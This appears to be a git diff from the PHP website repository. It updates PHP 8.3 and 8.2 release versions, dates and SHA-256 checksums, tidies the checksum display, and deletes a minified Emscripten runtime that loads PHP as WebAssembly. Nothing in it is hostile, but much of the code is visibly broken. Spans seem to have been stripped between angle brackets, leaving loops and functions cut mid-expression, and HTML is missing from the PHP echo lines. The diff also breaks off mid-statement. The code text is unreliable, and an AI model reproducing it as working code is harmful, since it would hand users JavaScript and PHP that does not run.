'dcf93923b0e38e0d5252b25b796520b5a47761a08b3488b6d0b5d1115764d3f0', ] ]; /* PHP 8.3 Release */ $data['8.3'] = [ - 'version' => '8.3.30', - 'date' => '15 Jan 2026', - 'tags' => [], // Set to ['security'] for security releases. + 'version' => '8.3.36', + 'date' => '21 Oct 2026', + 'tags' => ['security'], // Set to ['security'] for security releases. 'sha256' => [ - 'tar.gz' => 'e587dc95fb7f62730299fa7b36b6e4f91e6708aaefa2fff68a0098d320c16386', - 'tar.bz2' => '800b7b6ed50b73c8ee7844ee5f2f7cc612faa7875a0aa7c4529e8ed5866a5030', - 'tar.xz' => '67f084d36852daab6809561a7c8023d130ca07fc6af8fb040684dd1414934d48', + 'tar.gz' => 'c93f3441f87f6ab156bef4432db215d7e61ca2c0183bb3a2aa28d9886ab59f53', + 'tar.bz2' => '46f4b45e3688ed2b1819015a7b532c15b51cc055bdd3b13fd00ddfeebeedcd5f', + 'tar.xz' => 'dd54693aa334c5c4d72e9aee96b082c2473750a18a6c1d105789c93a3b1692fd', ] ]; /* PHP 8.2 Release */ $data['8.2'] = [ - 'version' => '8.2.30', - 'date' => '18 Dec 2025', + 'version' => '8.2.35', + 'date' => '21 Oct 2026', 'tags' => ['security'], // Set to ['security'] for security releases. 'sha256' => [ - 'tar.gz' => 'a0fa6673ba4b0c8335fbab08afb7c2e13a3791f2b5a0928c7ad3d7ad872edf26', - 'tar.bz2' => '104820b6c8fc959dde4b3342135f42bdabf246e86918a16381a17d8447c866fa', - 'tar.xz' => 'bc90523e17af4db46157e75d0c9ef0b9d0030b0514e62c26ba7b513b8c4eb015', + 'tar.gz' => '9db4204f0a2d1911277ae832185e07bb4c3b3559772753a70d2968ca346d6910', + 'tar.bz2' => '0f43efd1ac24d4f90002c8d4d570bf4c4d59fa14313bf270aae8cf04d9dfdef3', + 'tar.xz' => '5737b98601fe5ab1b8c5db0c82ed3158acb9283ed3081ffe2faffb9ac81455e6', ] ]; $ret = []; foreach ($data as $release) { + $release += ['announcement' => true]; $version = $release['version']; [$major] = explode('.', $version, 2); $info = [ - 'announcement' => $release['announcement'] ?? true, + 'announcement' => $release['announcement'], 'tags' => $release['tags'], 'date' => $release['date'], 'source' => [], @@ -139,8 +140,9 @@ function show_source_releases() ', $rel['md5'], ''; - if (isset($rel['sha256'])) echo '', $rel['sha256'], ''; + if (isset($rel['sha256'])) { + echo sha256_html($rel['sha256']); + } ?>

diff --git a/js/php-web.mjs b/js/php-web.mjs deleted file mode 100644 index 5b61a33494..0000000000 --- a/js/php-web.mjs +++ /dev/null @@ -1,2 +0,0 @@ -async function createPhpModule(moduleArg={}){var moduleRtn;var Module=moduleArg;var ENVIRONMENT_IS_WEB=true;var ENVIRONMENT_IS_WORKER=false;var ENVIRONMENT_IS_NODE=false;var arguments_=[];var thisProgram="./this.program";var quit_=(status,toThrow)=>{throw toThrow};var _scriptName=import.meta.url;var scriptDirectory="";function locateFile(path){if(Module["locateFile"]){return Module["locateFile"](path,scriptDirectory)}return scriptDirectory+path}var readAsync,readBinary;if(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER){try{scriptDirectory=new URL(".",_scriptName).href}catch{}{readAsync=async url=>{var response=await fetch(url,{credentials:"same-origin"});if(response.ok){return response.arrayBuffer()}throw new Error(response.status+" : "+response.url)}}}else{}var out=console.log.bind(console);var err=console.error.bind(console);var wasmBinary;var ABORT=false;var EXITSTATUS;function assert(condition,text){if(!condition){abort(text)}}var readyPromiseResolve,readyPromiseReject;var HEAP8,HEAPU8,HEAP16,HEAPU16,HEAP32,HEAPU32,HEAPF32,HEAPF64;var HEAP64,HEAPU64;var runtimeInitialized=false;function updateMemoryViews(){var b=wasmMemory.buffer;HEAP8=new Int8Array(b);HEAP16=new Int16Array(b);HEAPU8=new Uint8Array(b);HEAPU16=new Uint16Array(b);HEAP32=new Int32Array(b);HEAPU32=new Uint32Array(b);HEAPF32=new Float32Array(b);HEAPF64=new Float64Array(b);HEAP64=new BigInt64Array(b);HEAPU64=new BigUint64Array(b)}function preRun(){if(Module["preRun"]){if(typeof Module["preRun"]=="function")Module["preRun"]=[Module["preRun"]];while(Module["preRun"].length){addOnPreRun(Module["preRun"].shift())}}callRuntimeCallbacks(onPreRuns)}function initRuntime(){runtimeInitialized=true;if(!Module["noFSInit"]&&!FS.initialized)FS.init();TTY.init();SOCKFS.root=FS.mount(SOCKFS,{},null);PIPEFS.root=FS.mount(PIPEFS,{},null);wasmExports["__wasm_call_ctors"]();FS.ignorePermissions=false}function postRun(){if(Module["postRun"]){if(typeof Module["postRun"]=="function")Module["postRun"]=[Module["postRun"]];while(Module["postRun"].length){addOnPostRun(Module["postRun"].shift())}}callRuntimeCallbacks(onPostRuns)}function abort(what){Module["onAbort"]?.(what);what="Aborted("+what+")";err(what);ABORT=true;what+=". Build with -sASSERTIONS for more info.";var e=new WebAssembly.RuntimeError(what);readyPromiseReject?.(e);throw e}var wasmBinaryFile;function findWasmBinary(){if(Module["locateFile"]){return locateFile("php-web.wasm")}return new URL("php-web.wasm",import.meta.url).href}function getBinarySync(file){if(file==wasmBinaryFile&&wasmBinary){return new Uint8Array(wasmBinary)}if(readBinary){return readBinary(file)}throw"both async and sync fetching of the wasm failed"}async function getWasmBinary(binaryFile){if(!wasmBinary){try{var response=await readAsync(binaryFile);return new Uint8Array(response)}catch{}}return getBinarySync(binaryFile)}async function instantiateArrayBuffer(binaryFile,imports){try{var binary=await getWasmBinary(binaryFile);var instance=await WebAssembly.instantiate(binary,imports);return instance}catch(reason){err(`failed to asynchronously prepare wasm: ${reason}`);abort(reason)}}async function instantiateAsync(binary,binaryFile,imports){if(!binary){try{var response=fetch(binaryFile,{credentials:"same-origin"});var instantiationResult=await WebAssembly.instantiateStreaming(response,imports);return instantiationResult}catch(reason){err(`wasm streaming compile failed: ${reason}`);err("falling back to ArrayBuffer instantiation")}}return instantiateArrayBuffer(binaryFile,imports)}function getWasmImports(){var imports={env:wasmImports,wasi_snapshot_preview1:wasmImports};return imports}async function createWasm(){function receiveInstance(instance,module){wasmExports=instance.exports;assignWasmExports(wasmExports);updateMemoryViews();return wasmExports}function receiveInstantiationResult(result){return receiveInstance(result["instance"])}var info=getWasmImports();if(Module["instantiateWasm"]){return new Promise((resolve,reject)=>{Module["instantiateWasm"](info,(inst,mod)=>{resolve(receiveInstance(inst,mod))})})}wasmBinaryFile??=findWasmBinary();var result=await instantiateAsync(wasmBinary,wasmBinaryFile,info);var exports=receiveInstantiationResult(result);return exports}class ExitStatus{name="ExitStatus";constructor(status){this.message=`Program terminated with exit(${status})`;this.status=status}}var callRuntimeCallbacks=callbacks=>{while(callbacks.length>0){callbacks.shift()(Module)}};var onPostRuns=[];var addOnPostRun=cb=>onPostRuns.push(cb);var onPreRuns=[];var addOnPreRun=cb=>onPreRuns.push(cb);var noExitRuntime=true;var stackRestore=val=>__emscripten_stack_restore(val);var stackSave=()=>_emscripten_stack_get_current();var wasmTableMirror=[];var getWasmTableEntry=funcPtr=>{var func=wasmTableMirror[funcPtr];if(!func){wasmTableMirror[funcPtr]=func=wasmTable.get(funcPtr)}return func};var ___call_sighandler=(fp,sig)=>getWasmTableEntry(fp)(sig);var PATH={isAbs:path=>path.charAt(0)==="/",splitPath:filename=>{var splitPathRe=/^(\/?|)([\s\S]*?)((?:\.{1,2}|[^\/]+?|)(\.[^.\/]*|))(?:[\/]*)$/;return splitPathRe.exec(filename).slice(1)},normalizeArray:(parts,allowAboveRoot)=>{var up=0;for(var i=parts.length-1;i>=0;i--){var last=parts[i];if(last==="."){parts.splice(i,1)}else if(last===".."){parts.splice(i,1);up++}else if(up){parts.splice(i,1);up--}}if(allowAboveRoot){for(;up;up--){parts.unshift("..")}}return parts},normalize:path=>{var isAbsolute=PATH.isAbs(path),trailingSlash=path.slice(-1)==="/";path=PATH.normalizeArray(path.split("/").filter(p=>!!p),!isAbsolute).join("/");if(!path&&!isAbsolute){path="."}if(path&&trailingSlash){path+="/"}return(isAbsolute?"/":"")+path},dirname:path=>{var result=PATH.splitPath(path),root=result[0],dir=result[1];if(!root&&!dir){return"."}if(dir){dir=dir.slice(0,-1)}return root+dir},basename:path=>path&&path.match(/([^\/]+|\/)\/*$/)[1],join:(...paths)=>PATH.normalize(paths.join("/")),join2:(l,r)=>PATH.normalize(l+"/"+r)};var initRandomFill=()=>view=>crypto.getRandomValues(view);var randomFill=view=>{(randomFill=initRandomFill())(view)};var PATH_FS={resolve:(...args)=>{var resolvedPath="",resolvedAbsolute=false;for(var i=args.length-1;i>=-1&&!resolvedAbsolute;i--){var path=i>=0?args[i]:FS.cwd();if(typeof path!="string"){throw new TypeError("Arguments to path.resolve must be strings")}else if(!path){return""}resolvedPath=path+"/"+resolvedPath;resolvedAbsolute=PATH.isAbs(path)}resolvedPath=PATH.normalizeArray(resolvedPath.split("/").filter(p=>!!p),!resolvedAbsolute).join("/");return(resolvedAbsolute?"/":"")+resolvedPath||"."},relative:(from,to)=>{from=PATH_FS.resolve(from).slice(1);to=PATH_FS.resolve(to).slice(1);function trim(arr){var start=0;for(;start=0;end--){if(arr[end]!=="")break}if(start>end)return[];return arr.slice(start,end-start+1)}var fromParts=trim(from.split("/"));var toParts=trim(to.split("/"));var length=Math.min(fromParts.length,toParts.length);var samePartsLength=length;for(var i=0;i{var maxIdx=idx+maxBytesToRead;if(ignoreNul)return maxIdx;while(heapOrArray[idx]&&!(idx>=maxIdx))++idx;return idx};var UTF8ArrayToString=(heapOrArray,idx=0,maxBytesToRead,ignoreNul)=>{var endPtr=findStringEnd(heapOrArray,idx,maxBytesToRead,ignoreNul);if(endPtr-idx>16&&heapOrArray.buffer&&UTF8Decoder){return UTF8Decoder.decode(heapOrArray.subarray(idx,endPtr))}var str="";while(idx>10,56320|ch&1023)}}return str};var FS_stdin_getChar_buffer=[];var lengthBytesUTF8=str=>{var len=0;for(var i=0;i=55296&&c<=57343){len+=4;++i}else{len+=3}}return len};var stringToUTF8Array=(str,heap,outIdx,maxBytesToWrite)=>{if(!(maxBytesToWrite>0))return 0;var startIdx=outIdx;var endIdx=outIdx+maxBytesToWrite-1;for(var i=0;i=endIdx)break;heap[outIdx++]=u}else if(u<=2047){if(outIdx+1>=endIdx)break;heap[outIdx++]=192|u>>6;heap[outIdx++]=128|u&63}else if(u<=65535){if(outIdx+2>=endIdx)break;heap[outIdx++]=224|u>>12;heap[outIdx++]=128|u>>6&63;heap[outIdx++]=128|u&63}else{if(outIdx+3>=endIdx)break;heap[outIdx++]=240|u>>18;heap[outIdx++]=128|u>>12&63;heap[outIdx++]=128|u>>6&63;heap[outIdx++]=128|u&63;i++}}heap[outIdx]=0;return outIdx-startIdx};var intArrayFromString=(stringy,dontAddNull,length)=>{var len=length>0?length:lengthBytesUTF8(stringy)+1;var u8array=new Array(len);var numBytesWritten=stringToUTF8Array(stringy,u8array,0,u8array.length);if(dontAddNull)u8array.length=numBytesWritten;return u8array};var FS_stdin_getChar=()=>{if(!FS_stdin_getChar_buffer.length){var result=null;if(globalThis.window?.prompt){result=window.prompt("Input: ");if(result!==null){result+="\n"}}else{}if(!result){return null}FS_stdin_getChar_buffer=intArrayFromString(result,true)}return FS_stdin_getChar_buffer.shift()};var TTY={ttys:[],init(){},shutdown(){},register(dev,ops){TTY.ttys[dev]={input:[],output:[],ops};FS.registerDevice(dev,TTY.stream_ops)},stream_ops:{open(stream){var tty=TTY.ttys[stream.node.rdev];if(!tty){throw new FS.ErrnoError(43)}stream.tty=tty;stream.seekable=false},close(stream){stream.tty.ops.fsync(stream.tty)},fsync(stream){stream.tty.ops.fsync(stream.tty)},read(stream,buffer,offset,length,pos){if(!stream.tty||!stream.tty.ops.get_char){throw new FS.ErrnoError(60)}var bytesRead=0;for(var i=0;i0){out(UTF8ArrayToString(tty.output));tty.output=[]}},ioctl_tcgets(tty){return{c_iflag:25856,c_oflag:5,c_cflag:191,c_lflag:35387,c_cc:[3,28,127,21,4,0,1,0,17,19,26,0,18,15,23,22,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}},ioctl_tcsets(tty,optional_actions,data){return 0},ioctl_tiocgwinsz(tty){return[24,80]}},default_tty1_ops:{put_char(tty,val){if(val===null||val===10){err(UTF8ArrayToString(tty.output));tty.output=[]}else{if(val!=0)tty.output.push(val)}},fsync(tty){if(tty.output?.length>0){err(UTF8ArrayToString(tty.output));tty.output=[]}}}};var zeroMemory=(ptr,size)=>HEAPU8.fill(0,ptr,ptr+size);var alignMemory=(size,alignment)=>Math.ceil(size/alignment)*alignment;var mmapAlloc=size=>{size=alignMemory(size,65536);var ptr=_emscripten_builtin_memalign(65536,size);if(ptr)zeroMemory(ptr,size);return ptr};var MEMFS={ops_table:null,mount(mount){return MEMFS.createNode(null,"/",16895,0)},createNode(parent,name,mode,dev){if(FS.isBlkdev(mode)||FS.isFIFO(mode)){throw new FS.ErrnoError(63)}MEMFS.ops_table||={dir:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,lookup:MEMFS.node_ops.lookup,mknod:MEMFS.node_ops.mknod,rename:MEMFS.node_ops.rename,unlink:MEMFS.node_ops.unlink,rmdir:MEMFS.node_ops.rmdir,readdir:MEMFS.node_ops.readdir,symlink:MEMFS.node_ops.symlink},stream:{llseek:MEMFS.stream_ops.llseek}},file:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:{llseek:MEMFS.stream_ops.llseek,read:MEMFS.stream_ops.read,write:MEMFS.stream_ops.write,mmap:MEMFS.stream_ops.mmap,msync:MEMFS.stream_ops.msync}},link:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,readlink:MEMFS.node_ops.readlink},stream:{}},chrdev:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:FS.chrdev_stream_ops}};var node=FS.createNode(parent,name,mode,dev);if(FS.isDir(node.mode)){node.node_ops=MEMFS.ops_table.dir.node;node.stream_ops=MEMFS.ops_table.dir.stream;node.contents={}}else if(FS.isFile(node.mode)){node.node_ops=MEMFS.ops_table.file.node;node.stream_ops=MEMFS.ops_table.file.stream;node.usedBytes=0;node.contents=null}else if(FS.isLink(node.mode)){node.node_ops=MEMFS.ops_table.link.node;node.stream_ops=MEMFS.ops_table.link.stream}else if(FS.isChrdev(node.mode)){node.node_ops=MEMFS.ops_table.chrdev.node;node.stream_ops=MEMFS.ops_table.chrdev.stream}node.atime=node.mtime=node.ctime=Date.now();if(parent){parent.contents[name]=node;parent.atime=parent.mtime=parent.ctime=node.atime}return node},getFileDataAsTypedArray(node){if(!node.contents)return new Uint8Array(0);if(node.contents.subarray)return node.contents.subarray(0,node.usedBytes);return new Uint8Array(node.contents)},expandFileStorage(node,newCapacity){var prevCapacity=node.contents?node.contents.length:0;if(prevCapacity>=newCapacity)return;var CAPACITY_DOUBLING_MAX=1024*1024;newCapacity=Math.max(newCapacity,prevCapacity*(prevCapacity>>0);if(prevCapacity!=0)newCapacity=Math.max(newCapacity,256);var oldContents=node.contents;node.contents=new Uint8Array(newCapacity);if(node.usedBytes>0)node.contents.set(oldContents.subarray(0,node.usedBytes),0)},resizeFileStorage(node,newSize){if(node.usedBytes==newSize)return;if(newSize==0){node.contents=null;node.usedBytes=0}else{var oldContents=node.contents;node.contents=new Uint8Array(newSize);if(oldContents){node.contents.set(oldContents.subarray(0,Math.min(newSize,node.usedBytes)))}node.usedBytes=newSize}},node_ops:{getattr(node){var attr={};attr.dev=FS.isChrdev(node.mode)?node.id:1;attr.ino=node.id;attr.mode=node.mode;attr.nlink=1;attr.uid=0;attr.gid=0;attr.rdev=node.rdev;if(FS.isDir(node.mode)){attr.size=4096}else if(FS.isFile(node.mode)){attr.size=node.usedBytes}else if(FS.isLink(node.mode)){attr.size=node.link.length}else{attr.size=0}attr.atime=new Date(node.atime);attr.mtime=new Date(node.mtime);attr.ctime=new Date(node.ctime);attr.blksize=4096;attr.blocks=Math.ceil(attr.size/attr.blksize);return attr},setattr(node,attr){for(const key of["mode","atime","mtime","ctime"]){if(attr[key]!=null){node[key]=attr[key]}}if(attr.size!==undefined){MEMFS.resizeFileStorage(node,attr.size)}},lookup(parent,name){if(!MEMFS.doesNotExistError){MEMFS.doesNotExistError=new FS.ErrnoError(44);MEMFS.doesNotExistError.stack=""}throw MEMFS.doesNotExistError},mknod(parent,name,mode,dev){return MEMFS.createNode(parent,name,mode,dev)},rename(old_node,new_dir,new_name){var new_node;try{new_node=FS.lookupNode(new_dir,new_name)}catch(e){}if(new_node){if(FS.isDir(old_node.mode)){for(var i in new_node.contents){throw new FS.ErrnoError(55)}}FS.hashRemoveNode(new_node)}delete old_node.parent.contents[old_node.name];new_dir.contents[new_name]=old_node;old_node.name=new_name;new_dir.ctime=new_dir.mtime=old_node.parent.ctime=old_node.parent.mtime=Date.now()},unlink(parent,name){delete parent.contents[name];parent.ctime=parent.mtime=Date.now()},rmdir(parent,name){var node=FS.lookupNode(parent,name);for(var i in node.contents){throw new FS.ErrnoError(55)}delete parent.contents[name];parent.ctime=parent.mtime=Date.now()},readdir(node){return[".","..",...Object.keys(node.contents)]},symlink(parent,newname,oldpath){var node=MEMFS.createNode(parent,newname,511|40960,0);node.link=oldpath;return node},readlink(node){if(!FS.isLink(node.mode)){throw new FS.ErrnoError(28)}return node.link}},stream_ops:{read(stream,buffer,offset,length,position){var contents=stream.node.contents;if(position>=stream.node.usedBytes)return 0;var size=Math.min(stream.node.usedBytes-position,length);if(size>8&&contents.subarray){buffer.set(contents.subarray(position,position+size),offset)}else{for(var i=0;i0||position+length{var flagModes={r:0,"r+":2,w:512|64|1,"w+":512|64|2,a:1024|64|1,"a+":1024|64|2};var flags=flagModes[str];if(typeof flags=="undefined"){throw new Error(`Unknown file open mode: ${str}`)}return flags};var FS_getMode=(canRead,canWrite)=>{var mode=0;if(canRead)mode|=292|73;if(canWrite)mode|=146;return mode};var asyncLoad=async url=>{var arrayBuffer=await readAsync(url);return new Uint8Array(arrayBuffer)};var FS_createDataFile=(...args)=>FS.createDataFile(...args);var getUniqueRunDependency=id=>id;var runDependencies=0;var dependenciesFulfilled=null;var removeRunDependency=id=>{runDependencies--;Module["monitorRunDependencies"]?.(runDependencies);if(runDependencies==0){if(dependenciesFulfilled){var callback=dependenciesFulfilled;dependenciesFulfilled=null;callback()}}};var addRunDependency=id=>{runDependencies++;Module["monitorRunDependencies"]?.(runDependencies)};var preloadPlugins=[];var FS_handledByPreloadPlugin=async(byteArray,fullname)=>{if(typeof Browser!="undefined")Browser.init();for(var plugin of preloadPlugins){if(plugin["canHandle"](fullname)){return plugin["handle"](byteArray,fullname)}}return byteArray};var FS_preloadFile=async(parent,name,url,canRead,canWrite,dontCreateFile,canOwn,preFinish)=>{var fullname=name?PATH_FS.resolve(PATH.join2(parent,name)):parent;var dep=getUniqueRunDependency(`cp ${fullname}`);addRunDependency(dep);try{var byteArray=url;if(typeof url=="string"){byteArray=await asyncLoad(url)}byteArray=await FS_handledByPreloadPlugin(byteArray,fullname);preFinish?.();if(!dontCreateFile){FS_createDataFile(parent,name,byteArray,canRead,canWrite,canOwn)}}finally{removeRunDependency(dep)}};var FS_createPreloadedFile=(parent,name,url,canRead,canWrite,onload,onerror,dontCreateFile,canOwn,preFinish)=>{FS_preloadFile(parent,name,url,canRead,canWrite,dontCreateFile,canOwn,preFinish).then(onload).catch(onerror)};var LZ4={DIR_MODE:16895,FILE_MODE:33279,CHUNK_SIZE:-1,codec:null,init(){if(LZ4.codec)return;LZ4.codec=(()=>{var MiniLZ4=function(){var exports={};exports.uncompress=function(input,output,sIdx,eIdx){sIdx=sIdx||0;eIdx=eIdx||input.length-sIdx;for(var i=sIdx,n=eIdx,j=0;i>4;if(literals_length>0){var l=literals_length+240;while(l===255){l=input[i++];literals_length+=l}var end=i+literals_length;while(ij)return-(i-2);var match_length=token&15;var l=match_length+240;while(l===255){l=input[i++];match_length+=l}var pos=j-offset;var end=j+match_length+4;while(jmaxInputSize?0:isize+isize/255+16|0};exports.compress=function(src,dst,sIdx,eIdx){hashTable.set(empty);return compressBlock(src,dst,0,sIdx||0,eIdx||dst.length)};function compressBlock(src,dst,pos,sIdx,eIdx){var dpos=sIdx;var dlen=eIdx-sIdx;var anchor=0;if(src.length>=maxInputSize)throw new Error("input too large");if(src.length>mfLimit){var n=exports.compressBound(src.length);if(dlen>>hashShift;var ref=hashTable[hash]-1;hashTable[hash]=pos+1;if(ref<0||pos-ref>>>16>0||((src[ref+3]<<8|src[ref+2])!=sequenceHighBits||(src[ref+1]<<8|src[ref])!=sequenceLowBits)){step=findMatchAttempts++>>skipStrength;pos+=step;continue}findMatchAttempts=(1<=runMask){dst[dpos++]=(runMask<254;len-=255){dst[dpos++]=255}dst[dpos++]=len}else{dst[dpos++]=(literals_length<>8;if(match_length>=mlMask){match_length-=mlMask;while(match_length>=255){match_length-=255;dst[dpos++]=255}dst[dpos++]=match_length}anchor=pos}}if(anchor==0)return 0;literals_length=src.length-anchor;if(literals_length>=runMask){dst[dpos++]=runMask<254;ln-=255){dst[dpos++]=255}dst[dpos++]=ln}else{dst[dpos++]=literals_length<0){assert(compressedSize<=bound);compressed=compressed.subarray(0,compressedSize);compressedChunks.push(compressed);total+=compressedSize;successes.push(1);if(verify){var back=exports.uncompress(compressed,temp);assert(back===chunk.length,[back,chunk.length]);for(var i=0;iremoveRunDependency(dep);var byteArray=FS.readFile(fullname);plugin["handle"](byteArray,fullname).then(finish).catch(finish);break}}}}},createNode(parent,name,mode,dev,contents,mtime){var node=FS.createNode(parent,name,mode);node.mode=mode;node.node_ops=LZ4.node_ops;node.stream_ops=LZ4.stream_ops;this.atime=this.mtime=this.ctime=(mtime||new Date).getTime();assert(LZ4.FILE_MODE!==LZ4.DIR_MODE);if(mode===LZ4.FILE_MODE){node.size=contents.end-contents.start;node.contents=contents}else{node.size=4096;node.contents={}}if(parent){parent.contents[name]=node}return node},node_ops:{getattr(node){return{dev:1,ino:node.id,mode:node.mode,nlink:1,uid:0,gid:0,rdev:0,size:node.size,atime:new Date(node.atime),mtime:new Date(node.mtime),ctime:new Date(node.ctime),blksize:4096,blocks:Math.ceil(node.size/4096)}},setattr(node,attr){for(const key of["mode","atime","mtime","ctime"]){if(attr[key]){node[key]=attr[key]}}},lookup(parent,name){throw new FS.ErrnoError(44)},mknod(parent,name,mode,dev){throw new FS.ErrnoError(63)},rename(oldNode,newDir,newName){throw new FS.ErrnoError(63)},unlink(parent,name){throw new FS.ErrnoError(63)},rmdir(parent,name){throw new FS.ErrnoError(63)},readdir(node){throw new FS.ErrnoError(63)},symlink(parent,newName,oldPath){throw new FS.ErrnoError(63)}},stream_ops:{read(stream,buffer,offset,length,position){length=Math.min(length,stream.node.size-position);if(length<=0)return 0;var contents=stream.node.contents;var compressedData=contents.compressedData;var written=0;while(written=0){currChunk=compressedData["cachedChunks"][found]}else{compressedData["cachedIndexes"].pop();compressedData["cachedIndexes"].unshift(chunkIndex);currChunk=compressedData["cachedChunks"].pop();compressedData["cachedChunks"].unshift(currChunk);if(compressedData["debug"]){out("decompressing chunk "+chunkIndex);Module["decompressedChunks"]=(Module["decompressedChunks"]||0)+1}var compressed=compressedData["data"].subarray(compressedStart,compressedStart+compressedSize);var originalSize=LZ4.codec.uncompress(compressed,currChunk);if(chunkIndex!!p);var current=FS.root;var current_path="/";for(var i=0;i>>0)%FS.nameTable.length},hashAddNode(node){var hash=FS.hashName(node.parent.id,node.name);node.name_next=FS.nameTable[hash];FS.nameTable[hash]=node},hashRemoveNode(node){var hash=FS.hashName(node.parent.id,node.name);if(FS.nameTable[hash]===node){FS.nameTable[hash]=node.name_next}else{var current=FS.nameTable[hash];while(current){if(current.name_next===node){current.name_next=node.name_next;break}current=current.name_next}}},lookupNode(parent,name){var errCode=FS.mayLookup(parent);if(errCode){throw new FS.ErrnoError(errCode)}var hash=FS.hashName(parent.id,name);for(var node=FS.nameTable[hash];node;node=node.name_next){var nodeName=node.name;if(node.parent.id===parent.id&&nodeName===name){return node}}return FS.lookup(parent,name)},createNode(parent,name,mode,rdev){var node=new FS.FSNode(parent,name,mode,rdev);FS.hashAddNode(node);return node},destroyNode(node){FS.hashRemoveNode(node)},isRoot(node){return node===node.parent},isMountpoint(node){return!!node.mounted},isFile(mode){return(mode&61440)===32768},isDir(mode){return(mode&61440)===16384},isLink(mode){return(mode&61440)===40960},isChrdev(mode){return(mode&61440)===8192},isBlkdev(mode){return(mode&61440)===24576},isFIFO(mode){return(mode&61440)===4096},isSocket(mode){return(mode&49152)===49152},flagsToPermissionString(flag){var perms=["r","w","rw"][flag&3];if(flag&512){perms+="w"}return perms},nodePermissions(node,perms){if(FS.ignorePermissions){return 0}if(perms.includes("r")&&!(node.mode&292)){return 2}else if(perms.includes("w")&&!(node.mode&146)){return 2}else if(perms.includes("x")&&!(node.mode&73)){return 2}return 0},mayLookup(dir){if(!FS.isDir(dir.mode))return 54;var errCode=FS.nodePermissions(dir,"x");if(errCode)return errCode;if(!dir.node_ops.lookup)return 2;return 0},mayCreate(dir,name){if(!FS.isDir(dir.mode)){return 54}try{var node=FS.lookupNode(dir,name);return 20}catch(e){}return FS.nodePermissions(dir,"wx")},mayDelete(dir,name,isdir){var node;try{node=FS.lookupNode(dir,name)}catch(e){return e.errno}var errCode=FS.nodePermissions(dir,"wx");if(errCode){return errCode}if(isdir){if(!FS.isDir(node.mode)){return 54}if(FS.isRoot(node)||FS.getPath(node)===FS.cwd()){return 10}}else{if(FS.isDir(node.mode)){return 31}}return 0},mayOpen(node,flags){if(!node){return 44}if(FS.isLink(node.mode)){return 32}else if(FS.isDir(node.mode)){if(FS.flagsToPermissionString(flags)!=="r"||flags&(512|64)){return 31}}return FS.nodePermissions(node,FS.flagsToPermissionString(flags))},checkOpExists(op,err){if(!op){throw new FS.ErrnoError(err)}return op},MAX_OPEN_FDS:4096,nextfd(){for(var fd=0;fd<=FS.MAX_OPEN_FDS;fd++){if(!FS.streams[fd]){return fd}}throw new FS.ErrnoError(33)},getStreamChecked(fd){var stream=FS.getStream(fd);if(!stream){throw new FS.ErrnoError(8)}return stream},getStream:fd=>FS.streams[fd],createStream(stream,fd=-1){stream=Object.assign(new FS.FSStream,stream);if(fd==-1){fd=FS.nextfd()}stream.fd=fd;FS.streams[fd]=stream;return stream},closeStream(fd){FS.streams[fd]=null},dupStream(origStream,fd=-1){var stream=FS.createStream(origStream,fd);stream.stream_ops?.dup?.(stream);return stream},doSetAttr(stream,node,attr){var setattr=stream?.stream_ops.setattr;var arg=setattr?stream:node;setattr??=node.node_ops.setattr;FS.checkOpExists(setattr,63);setattr(arg,attr)},chrdev_stream_ops:{open(stream){var device=FS.getDevice(stream.node.rdev);stream.stream_ops=device.stream_ops;stream.stream_ops.open?.(stream)},llseek(){throw new FS.ErrnoError(70)}},major:dev=>dev>>8,minor:dev=>dev&255,makedev:(ma,mi)=>ma<<8|mi,registerDevice(dev,ops){FS.devices[dev]={stream_ops:ops}},getDevice:dev=>FS.devices[dev],getMounts(mount){var mounts=[];var check=[mount];while(check.length){var m=check.pop();mounts.push(m);check.push(...m.mounts)}return mounts},syncfs(populate,callback){if(typeof populate=="function"){callback=populate;populate=false}FS.syncFSRequests++;if(FS.syncFSRequests>1){err(`warning: ${FS.syncFSRequests} FS.syncfs operations in flight at once, probably just doing extra work`)}var mounts=FS.getMounts(FS.root.mount);var completed=0;function doCallback(errCode){FS.syncFSRequests--;return callback(errCode)}function done(errCode){if(errCode){if(!done.errored){done.errored=true;return doCallback(errCode)}return}if(++completed>=mounts.length){doCallback(null)}}for(var mount of mounts){if(mount.type.syncfs){mount.type.syncfs(mount,populate,done)}else{done(null)}}},mount(type,opts,mountpoint){var root=mountpoint==="/";var pseudo=!mountpoint;var node;if(root&&FS.root){throw new FS.ErrnoError(10)}else if(!root&&!pseudo){var lookup=FS.lookupPath(mountpoint,{follow_mount:false});mountpoint=lookup.path;node=lookup.node;if(FS.isMountpoint(node)){throw new FS.ErrnoError(10)}if(!FS.isDir(node.mode)){throw new FS.ErrnoError(54)}}var mount={type,opts,mountpoint,mounts:[]};var mountRoot=type.mount(mount);mountRoot.mount=mount;mount.root=mountRoot;if(root){FS.root=mountRoot}else if(node){node.mounted=mount;if(node.mount){node.mount.mounts.push(mount)}}return mountRoot},unmount(mountpoint){var lookup=FS.lookupPath(mountpoint,{follow_mount:false});if(!FS.isMountpoint(lookup.node)){throw new FS.ErrnoError(28)}var node=lookup.node;var mount=node.mounted;var mounts=FS.getMounts(mount);for(var[hash,current]of Object.entries(FS.nameTable)){while(current){var next=current.name_next;if(mounts.includes(current.mount)){FS.destroyNode(current)}current=next}}node.mounted=null;var idx=node.mount.mounts.indexOf(mount);node.mount.mounts.splice(idx,1)},lookup(parent,name){return parent.node_ops.lookup(parent,name)},mknod(path,mode,dev){var lookup=FS.lookupPath(path,{parent:true});var parent=lookup.node;var name=PATH.basename(path);if(!name){throw new FS.ErrnoError(28)}if(name==="."||name===".."){throw new FS.ErrnoError(20)}var errCode=FS.mayCreate(parent,name);if(errCode){throw new FS.ErrnoError(errCode)}if(!parent.node_ops.mknod){throw new FS.ErrnoError(63)}return parent.node_ops.mknod(parent,name,mode,dev)},statfs(path){return FS.statfsNode(FS.lookupPath(path,{follow:true}).node)},statfsStream(stream){return FS.statfsNode(stream.node)},statfsNode(node){var rtn={bsize:4096,frsize:4096,blocks:1e6,bfree:5e5,bavail:5e5,files:FS.nextInode,ffree:FS.nextInode-1,fsid:42,flags:2,namelen:255};if(node.node_ops.statfs){Object.assign(rtn,node.node_ops.statfs(node.mount.opts.root))}return rtn},create(path,mode=438){mode&=4095;mode|=32768;return 